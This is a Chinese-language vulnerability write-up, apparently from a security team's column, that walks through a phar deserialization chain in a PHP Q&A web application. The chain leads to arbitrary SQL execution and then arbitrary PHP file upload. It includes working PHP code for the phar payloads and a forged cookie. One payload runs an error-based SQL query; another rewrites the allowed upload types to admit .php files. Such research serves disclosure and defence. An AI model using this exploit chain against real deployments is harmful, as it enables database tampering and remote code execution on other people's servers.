该漏洞的实质触发原因是由于可以通过反序列化来执行任意sql
语句,导致可以在数据库中更改上传文件的限制类型,最后达到可以上传任意PHP
文件的效果
漏洞利用点文件位置在./system/aws_model.inc.php
,该文件中存在一个AWS_MODEL
类,重点关注一下该类的__destruct
方法
)
该方法遍历了$_shutdown_query
,然后执行了query方法,跟进去看一下
该方法的功能是执行传入的SQL
语句,那么也就是说我们只要控制了$_shutdown_query
就可以执行任意的语句了,可以注意到该变量是该类中的私有成员变量
如果存在反序列化的点,我们就可以控制$_shutdown_query
的值来执行任意SQL
语句,于是接着来寻找反序列化的触发方法
在本例中反序列化是利用phar
进行触发的,触发点文件在./models/account.php
,在该文件的account_class
类中,存在着这样一个函数
如果该函数中的$headimgurl
是可控的,就可以通过file_get_contents
函数来触发phar
反序列化,通过搜索发现在./app/account/ajax.php
中的synch_img_action
函数调用了associate_remote_avatar
函数
在这里我们需要控制的是$wxuser['headimgurl']
,而synch_img_action
对于$wxuser['headimgurl']
的获取是来源于数据库中的users_weixin
表的,所以我们想控制其值必须找到对users_weixin
表中headimgurl
字段操作的代码,通过搜索发现./models/openid/weixin/weixin.php
文件中bind_account
函数存在着对该表的插入操作
接下来需要找到bind_account
函数的调用位置,并且需要使其参数可控,通过搜索关注到binding_action
函数,该函数在/app/m/weixin.php
文件中
可以看到该函数中在调用bind_account
函数传入参数时,参数的值都是从cookie
中获取的,这样我们就可以通过cookie来控制传入的参数值,而binding_action
这个方法可以通过路由访问直接调用,所以我们基本上就可以来执行任意SQL语句了
接着来梳理一下流程,首先我们控制cookie
然后调用binding_action
函数,使其调用bind_account
函数并带入我们控制的参数,该函数将会把我们构造的headimgurl
插入到数据库中,在我们调用synch_img_action
方法时,该方法会将headimgurl
取出来并调用associate_remote_avatar
函数,该函数会调用file_get_contents($headimgurl)
来触发phar
反序列化,进而执行任意sql
语句
下面首先编写反序列化的生成代码
<?phpclass AWS_MODEL{ private $_shutdown_query = array(); function __construct(){ $this->_shutdown_query = array("a"=>"SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)");
}
}$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new AWS_MODEL();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件$phar->stopBuffering();
在提问的编辑器处进行文件上传,会返回文件路径
然后编写生成cookie
的代码
<?php
$a = array(); $a['access_token'] = array('openid' => '1'); $a['access_user'] = array('openid'=>1,'nickname'=>'aaa','headimgurl'=>'phar://uploads/question/20200229/f3f9cb0f135c2fd37c2446f863cc15d6.gif'); echo json_encode($a);?>//{"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"aaa","headimgurl":"phar://uploads/question/20200229/f3f9cb0f135c2fd37c2446f863cc15d6.gif"}}
首先带着cookie
调用binding_action
方法,注意一下cookie
的前缀需要抓包获取
然后去直接触发synch_img_action
方法,就可以通过报错函数来得到sql执行结果
登陆后台可以发现允许上传的文件类型是保存在数据库中的,执行更新后缀名的语句如下
我们可以仿照该语句来将php
后缀名加入其中
<?phpclass AWS_MODEL{ private $_shutdown_query = array(); function __construct(){ $this->_shutdown_query = array("a"=>"UPDATE `aws_system_setting` SET `value` = 's:45:"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";' WHERE (`varname` = 'allowed_upload_types')");
}
}$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new AWS_MODEL();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件$phar->stopBuffering();
按照上面的执行语句的流程,成功执行后即可将php
后缀添加到白名单中,之后在编辑器中可直接上传php文件
https://xz.aliyun.com/t/7077
本文作者:星盟安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/126982.html